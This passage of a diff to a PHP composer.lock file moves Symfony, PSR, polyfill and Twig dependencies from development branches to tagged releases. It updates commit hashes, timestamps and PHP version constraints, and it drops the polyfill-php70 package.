+                "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.0"
+                "php": ">=5.3.0"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "1.1.x-dev"
+                    "dev-master": "1.0.x-dev"
                 }
             },
             "autoload": {
@@ -479,7 +404,7 @@
             "authors": [
                 {
                     "name": "PHP-FIG",
-                    "homepage": "https://www.php-fig.org/"
+                    "homepage": "http://www.php-fig.org/"
                 }
             ],
             "description": "Common Container Interface (PHP FIG PSR-11)",
@@ -495,26 +420,25 @@
                 "issues": "https://github.com/php-fig/container/issues",
                 "source": "https://github.com/php-fig/container/tree/master"
             },
-            "time": "2020-10-13T07:07:53+00:00"
+            "time": "2017-02-14T16:28:37+00:00"
         },
         {
             "name": "psr/http-message",
-            "version": "dev-master",
+            "version": "1.0.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/http-message.git",
-                "reference": "efd67d1dc14a7ef4fc4e518e7dee91c271d524e4"
+                "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/http-message/zipball/efd67d1dc14a7ef4fc4e518e7dee91c271d524e4",
-                "reference": "efd67d1dc14a7ef4fc4e518e7dee91c271d524e4",
+                "url": "https://api.github.com/repos/php-fig/http-message/zipball/f6561bf28d520154e4b0ec72be95418abe6d9363",
+                "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363",
                 "shasum": ""
             },
             "require": {
                 "php": ">=5.3.0"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
@@ -549,26 +473,25 @@
             "support": {
                 "source": "https://github.com/php-fig/http-message/tree/master"
             },
-            "time": "2019-08-29T13:16:46+00:00"
+            "time": "2016-08-06T14:39:51+00:00"
         },
         {
             "name": "psr/log",
-            "version": "dev-master",
+            "version": "1.1.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/log.git",
-                "reference": "dd738d0b4491f32725492cf345f6b501f5922fec"
+                "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/log/zipball/dd738d0b4491f32725492cf345f6b501f5922fec",
-                "reference": "dd738d0b4491f32725492cf345f6b501f5922fec",
+                "url": "https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc",
+                "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc",
                 "shasum": ""
             },
             "require": {
                 "php": ">=5.3.0"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
@@ -587,7 +510,7 @@
             "authors": [
                 {
                     "name": "PHP-FIG",
-                    "homepage": "https://www.php-fig.org/"
+                    "homepage": "http://www.php-fig.org/"
                 }
             ],
             "description": "Common interface for logging libraries",
@@ -598,9 +521,9 @@
                 "psr-3"
             ],
             "support": {
-                "source": "https://github.com/php-fig/log/tree/master"
+                "source": "https://github.com/php-fig/log/tree/1.1.3"
             },
-            "time": "2020-09-18T06:44:51+00:00"
+            "time": "2020-03-23T09:12:05+00:00"
         },
         {
             "name": "ralouphie/getallheaders",
@@ -648,16 +571,16 @@
         },
         {
             "name": "scrivo/highlight.php",
-            "version": "9.18.x-dev",
+            "version": "v9.18.1.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/scrivo/highlight.php.git",
-                "reference": "006e334dbf8e0a30573174e2cb6e11682b224f15"
+                "reference": "6a1699707b099081f20a488ac1f92d682181018c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/006e334dbf8e0a30573174e2cb6e11682b224f15",
-                "reference": "006e334dbf8e0a30573174e2cb6e11682b224f15",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/6a1699707b099081f20a488ac1f92d682181018c",
+                "reference": "6a1699707b099081f20a488ac1f92d682181018c",
                 "shasum": ""
             },
             "require": {
@@ -723,20 +646,20 @@
                     "type": "github"
                 }
             ],
-            "time": "2020-10-17T21:12:39+00:00"
+            "time": "2020-10-16T07:43:22+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "4.4.x-dev",
+            "version": "v4.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "a30dd52eb2129e90e2e15bf107f91eab2219b52c"
+                "reference": "90933b39c7b312fc3ceaa1ddeac7eb48cb953124"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/a30dd52eb2129e90e2e15bf107f91eab2219b52c",
-                "reference": "a30dd52eb2129e90e2e15bf107f91eab2219b52c",
+                "url": "https://api.github.com/repos/symfony/console/zipball/90933b39c7b312fc3ceaa1ddeac7eb48cb953124",
+                "reference": "90933b39c7b312fc3ceaa1ddeac7eb48cb953124",
                 "shasum": ""
             },
             "require": {
@@ -772,7 +695,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "4.4"
+                "branch-alias": {
+                    "dev-master": "4.4-dev"
+                }
             },
             "autoload": {
                 "psr-4": {
@@ -799,7 +724,7 @@
             "description": "Symfony Console Component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/console/tree/4.4"
+                "source": "https://github.com/symfony/console/tree/v4.4.15"
             },
             "funding": [
                 {
@@ -815,20 +740,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-13T13:20:53+00:00"
+            "time": "2020-09-15T07:58:55+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "4.4.x-dev",
+            "version": "v4.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "e529efc81e4b3f06932e6ac4e0dab9d536e6afd1"
+                "reference": "bf17dc9f6ce144e41f786c32435feea4d8e11dcc"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/e529efc81e4b3f06932e6ac4e0dab9d536e6afd1",
-                "reference": "e529efc81e4b3f06932e6ac4e0dab9d536e6afd1",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/bf17dc9f6ce144e41f786c32435feea4d8e11dcc",
+                "reference": "bf17dc9f6ce144e41f786c32435feea4d8e11dcc",
                 "shasum": ""
             },
             "require": {
@@ -836,7 +761,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "4.4"
+                "branch-alias": {
+                    "dev-master": "4.4-dev"
+                }
             },
             "autoload": {
                 "psr-4": {
@@ -867,7 +794,7 @@
             "description": "Symfony CssSelector Component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/4.4"
+                "source": "https://github.com/symfony/css-selector/tree/v4.4.15"
             },
             "funding": [
                 {
@@ -883,7 +810,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-13T13:20:53+00:00"
+            "time": "2020-07-05T09:39:30+00:00"
         },
         {
             "name": "symfony/docs-builder",
@@ -891,7 +818,7 @@
             "source": {
                 "type": "git",
                 "url": "https://github.com/weaverryan/docs-builder",
-                "reference": "5def2fef2e7c8acade040d74d55b9b96fb8ed262"
+                "reference": "e388a6f8cd7a98c34cdc913d18adc9e92ef73441"
             },
             "require": {
                 "doctrine/rst-parser": "dev-master",
@@ -923,20 +850,20 @@
                 "MIT"
             ],
             "description": "The build system for Symfony's documentation",
-            "time": "2020-10-23T00:22:44+00:00"
+            "time": "2020-10-26T22:58:16+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "4.4.x-dev",
+            "version": "v4.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "0e6f7848438ec672ce9230f774d5272ec02e47dc"
+                "reference": "bdcb7633a501770a0daefbf81d2e6b28c3864f2b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/0e6f7848438ec672ce9230f774d5272ec02e47dc",
-                "reference": "0e6f7848438ec672ce9230f774d5272ec02e47dc",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/bdcb7633a501770a0daefbf81d2e6b28c3864f2b",
+                "reference": "bdcb7633a501770a0daefbf81d2e6b28c3864f2b",
                 "shasum": ""
             },
             "require": {
@@ -956,7 +883,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "4.4"
+                "branch-alias": {
+                    "dev-master": "4.4-dev"
+                }
             },
             "autoload": {
                 "psr-4": {
@@ -983,7 +912,7 @@
             "description": "Symfony DomCrawler Component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/4.4"
+                "source": "https://github.com/symfony/dom-crawler/tree/v4.4.15"
             },
             "funding": [
                 {
@@ -999,20 +928,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-13T13:20:53+00:00"
+            "time": "2020-10-02T07:34:48+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "4.4.x-dev",
+            "version": "v4.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "0921fda04596119d1bcbe6a17cf9989fadd71095"
+                "reference": "ebc51494739d3b081ea543ed7c462fa73a4f74db"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/0921fda04596119d1bcbe6a17cf9989fadd71095",
-                "reference": "0921fda04596119d1bcbe6a17cf9989fadd71095",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/ebc51494739d3b081ea543ed7c462fa73a4f74db",
+                "reference": "ebc51494739d3b081ea543ed7c462fa73a4f74db",
                 "shasum": ""
             },
             "require": {
@@ -1021,7 +950,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "4.4"
+                "branch-alias": {
+                    "dev-master": "4.4-dev"
+                }
             },
             "autoload": {
                 "psr-4": {
@@ -1048,7 +979,7 @@
             "description": "Symfony Filesystem Component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/4.4"
+                "source": "https://github.com/symfony/filesystem/tree/v4.4.15"
             },
             "funding": [
                 {
@@ -1064,20 +995,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-21T04:38:54+00:00"
+            "time": "2020-09-27T13:54:16+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "4.4.x-dev",
+            "version": "v4.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "591f0fa22eaf3ad819332ac3de1d4ea67cca5932"
+                "reference": "60d08560f9aa72997c44077c40d47aa28a963230"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/591f0fa22eaf3ad819332ac3de1d4ea67cca5932",
-                "reference": "591f0fa22eaf3ad819332ac3de1d4ea67cca5932",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/60d08560f9aa72997c44077c40d47aa28a963230",
+                "reference": "60d08560f9aa72997c44077c40d47aa28a963230",
                 "shasum": ""
             },
             "require": {
@@ -1085,7 +1016,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "4.4"
+                "branch-alias": {
+                    "dev-master": "4.4-dev"
+                }
             },
             "autoload": {
                 "psr-4": {
@@ -1112,7 +1045,7 @@
             "description": "Symfony Finder Component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/4.4"
+                "source": "https://github.com/symfony/finder/tree/v4.4.15"
             },
             "funding": [
                 {
@@ -1128,20 +1061,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-13T13:20:53+00:00"
+            "time": "2020-10-02T07:34:48+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "4.4.x-dev",
+            "version": "v4.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "64db2909fb9311545a118bc46ed620d110cd2e25"
+                "reference": "b1cb966898aaf8df37280fde537a27b6724b3bc4"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/64db2909fb9311545a118bc46ed620d110cd2e25",
-                "reference": "64db2909fb9311545a118bc46ed620d110cd2e25",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/b1cb966898aaf8df37280fde537a27b6724b3bc4",
+                "reference": "b1cb966898aaf8df37280fde537a27b6724b3bc4",
                 "shasum": ""
             },
             "require": {
@@ -1168,7 +1101,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "4.4"
+                "branch-alias": {
+                    "dev-master": "4.4-dev"
+                }
             },
             "autoload": {
                 "psr-4": {
@@ -1195,7 +1130,7 @@
             "description": "Symfony HttpClient component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/4.4"
+                "source": "https://github.com/symfony/http-client/tree/v4.4.15"
             },
             "funding": [
                 {
@@ -1211,11 +1146,11 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-20T13:38:40+00:00"
+            "time": "2020-10-02T13:41:48+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "dev-main",
+            "version": "v2.3.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
@@ -1233,7 +1168,6 @@
             "suggest": {
                 "symfony/http-client-implementation": ""
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-version": "2.3",
@@ -1295,29 +1229,28 @@
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b"
+                "reference": "f4ba089a5b6366e453971d3aad5fe8e897b37f41"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/aed596913b70fae57be53d86faa2e9ef85a2297b",
-                "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/f4ba089a5b6366e453971d3aad5fe8e897b37f41",
+                "reference": "f4ba089a5b6366e453971d3aad5fe8e897b37f41",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.3"
+                "php": ">=7.1"
             },
             "suggest": {
                 "ext-ctype": "For best performance"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1355,7 +1288,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.19.0"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1371,36 +1304,34 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:01:57+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/polyfill-intl-idn",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-idn.git",
-                "reference": "fd17ae0603e76ae99d041f567e8611a97d899b03"
+                "reference": "3b75acd829741c768bc8b1f84eb33265e7cc5117"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/fd17ae0603e76ae99d041f567e8611a97d899b03",
-                "reference": "fd17ae0603e76ae99d041f567e8611a97d899b03",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/3b75acd829741c768bc8b1f84eb33265e7cc5117",
+                "reference": "3b75acd829741c768bc8b1f84eb33265e7cc5117",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.3",
+                "php": ">=7.1",
                 "symfony/polyfill-intl-normalizer": "^1.10",
-                "symfony/polyfill-php70": "^1.10",
                 "symfony/polyfill-php72": "^1.10"
             },
             "suggest": {
                 "ext-intl": "For best performance"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1444,7 +1375,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-idn/tree/main"
+                "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1460,33 +1391,32 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:34:17+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
-                "reference": "8db0ae7936b42feb370840cf24de1a144fb0ef27"
+                "reference": "727d1096295d807c309fb01a851577302394c897"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/8db0ae7936b42feb370840cf24de1a144fb0ef27",
-                "reference": "8db0ae7936b42feb370840cf24de1a144fb0ef27",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/727d1096295d807c309fb01a851577302394c897",
+                "reference": "727d1096295d807c309fb01a851577302394c897",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.3"
+                "php": ">=7.1"
             },
             "suggest": {
                 "ext-intl": "For best performance"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1529,7 +1459,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.19.0"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1545,33 +1475,32 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:01:57+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce"
+                "reference": "39d483bdf39be819deabf04ec872eb0b2410b531"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/b5f7b932ee6fa802fc792eabd77c4c88084517ce",
-                "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/39d483bdf39be819deabf04ec872eb0b2410b531",
+                "reference": "39d483bdf39be819deabf04ec872eb0b2410b531",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.3"
+                "php": ">=7.1"
             },
             "suggest": {
                 "ext-mbstring": "For best performance"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1610,7 +1539,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.19.0"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1626,111 +1555,29 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:01:57+00:00"
-        },
-        {
-            "name": "symfony/polyfill-php70",
-            "version": "dev-main",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/symfony/polyfill-php70.git",
-                "reference": "3fe414077251a81a1b15b1c709faf5c2fbae3d4e"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php70/zipball/3fe414077251a81a1b15b1c709faf5c2fbae3d4e",
-                "reference": "3fe414077251a81a1b15b1c709faf5c2fbae3d4e",
-                "shasum": ""
-            },
-            "require": {
-                "paragonie/random_compat": "~1.0|~2.0|~9.99",
-                "php": ">=5.3.3"
-            },
-            "default-branch": true,
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-main": "1.19-dev"
-                },
-                "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Php70\\": ""
-                },
-                "files": [
-                    "bootstrap.php"
-                ],
-                "classmap": [
-                    "Resources/stubs"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Nicolas Grekas",
-                    "email": "p@tchwork.com"
-                },
-                {
-                    "name": "Symfony Community",
-                    "homepage": "https://symfony.com/contributors"
-                }
-            ],
-            "description": "Symfony polyfill backporting some PHP 7.0+ features to lower PHP versions",
-            "homepage": "https://symfony.com",
-            "keywords": [
-                "compatibility",
-                "polyfill",
-                "portable",
-                "shim"
-            ],
-            "support": {
-                "source": "https://github.com/symfony/polyfill-php70/tree/v1.19.0"
-            },
-            "funding": [
-                {
-                    "url": "https://symfony.com/sponsor",
-                    "type": "custom"
-                },
-                {
-                    "url": "https://github.com/fabpot",
-                    "type": "github"
-                },
-                {
-                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
-                    "type": "tidelift"
-                }
-            ],
-            "time": "2020-10-23T09:01:57+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/polyfill-php72",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php72.git",
-                "reference": "beecef6b463b06954638f02378f52496cb84bacc"
+                "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/beecef6b463b06954638f02378f52496cb84bacc",
-                "reference": "beecef6b463b06954638f02378f52496cb84bacc",
+                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/cede45fcdfabdd6043b3592e83678e42ec69e930",
+                "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.3"
+                "php": ">=7.1"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1768,7 +1615,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php72/tree/v1.19.0"
+                "source": "https://github.com/symfony/polyfill-php72/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1784,30 +1631,29 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:01:57+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/polyfill-php73",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php73.git",
-                "reference": "9d920e3218205554171b2503bb3e4a1366824a16"
+                "reference": "8ff431c517be11c78c48a39a66d37431e26a6bed"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/9d920e3218205554171b2503bb3e4a1366824a16",
-                "reference": "9d920e3218205554171b2503bb3e4a1366824a16",
+                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/8ff431c517be11c78c48a39a66d37431e26a6bed",
+                "reference": "8ff431c517be11c78c48a39a66d37431e26a6bed",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.3"
+                "php": ">=7.1"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1848,7 +1694,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php73/tree/v1.19.0"
+                "source": "https://github.com/symfony/polyfill-php73/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1864,30 +1710,29 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:01:57+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/polyfill-php80",
-            "version": "dev-main",
+            "version": "v1.20.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php80.git",
-                "reference": "f54ef00f4678f348f133097fa8c3701d197ff44d"
+                "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/f54ef00f4678f348f133097fa8c3701d197ff44d",
-                "reference": "f54ef00f4678f348f133097fa8c3701d197ff44d",
+                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/e70aa8b064c5b72d3df2abd5ab1e90464ad009de",
+                "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.0.8"
+                "php": ">=7.1"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.19-dev"
+                    "dev-main": "1.20-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1932,7 +1777,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php80/tree/v1.19.0"
+                "source": "https://github.com/symfony/polyfill-php80/tree/v1.20.0"
             },
             "funding": [
                 {
@@ -1948,7 +1793,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T09:01:57+00:00"
+            "time": "2020-10-23T14:02:19+00:00"
         },
         {
             "name": "symfony/process",
@@ -1956,12 +1801,12 @@
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "f3957bcc7ec492baf22812c48e7cccf152491770"
+                "reference": "88d47196a2fe06db8f90f0c2a986651e91ee3660"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/f3957bcc7ec492baf22812c48e7cccf152491770",
-                "reference": "f3957bcc7ec492baf22812c48e7cccf152491770",
+                "url": "https://api.github.com/repos/symfony/process/zipball/88d47196a2fe06db8f90f0c2a986651e91ee3660",
+                "reference": "88d47196a2fe06db8f90f0c2a986651e91ee3660",
                 "shasum": ""
             },
             "require": {
@@ -1970,9 +1815,6 @@
             },
             "default-branch": true,
             "type": "library",
-            "extra": {
-                "branch-version": "5.2"
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Process\\": ""
@@ -1998,7 +1840,7 @@
             "description": "Symfony Process Component",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v5.2.0-BETA2"
+                "source": "https://github.com/symfony/process/tree/5.x"
             },
             "funding": [
                 {
@@ -2014,20 +1856,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-13T13:22:54+00:00"
+            "time": "2020-10-24T12:08:07+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "dev-main",
+            "version": "v2.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "0aeee2f70f4550e6c48c9a796d98f5ceda58dfda"
+                "reference": "d15da7ba4957ffb8f1747218be9e1a121fd298a1"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/0aeee2f70f4550e6c48c9a796d98f5ceda58dfda",
-                "reference": "0aeee2f70f4550e6c48c9a796d98f5ceda58dfda",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/d15da7ba4957ffb8f1747218be9e1a121fd298a1",
+                "reference": "d15da7ba4957ffb8f1747218be9e1a121fd298a1",
                 "shasum": ""
             },
             "require": {
@@ -2037,12 +1879,10 @@
             "suggest": {
                 "symfony/service-implementation": ""
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
-                "branch-version": "2.3",
                 "branch-alias": {
-                    "dev-main": "2.3-dev"
+                    "dev-master": "2.2-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -2079,7 +1919,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/main"
+                "source": "https://github.com/symfony/service-contracts/tree/master"
             },
             "funding": [
                 {
@@ -2095,20 +1935,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-14T17:08:19+00:00"
+            "time": "2020-09-07T11:33:47+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "2.x-dev",
+            "version": "v2.14.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "78173b3c850e344cb8515fc2a05138d39a6c39e0"
+                "reference": "d495243dade48c39b6a5261c26cdbd8c5703f6a0"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/78173b3c850e344cb8515fc2a05138d39a6c39e0",
-                "reference": "78173b3c850e344cb8515fc2a05138d39a6c39e0",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/d495243dade48c39b6a5261c26cdbd8c5703f6a0",
+                "reference": "d495243dade48c39b6a5261c26cdbd8c5703f6a0",
                 "shasum": ""
             },
             "require": {
@@ -2162,7 +2002,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
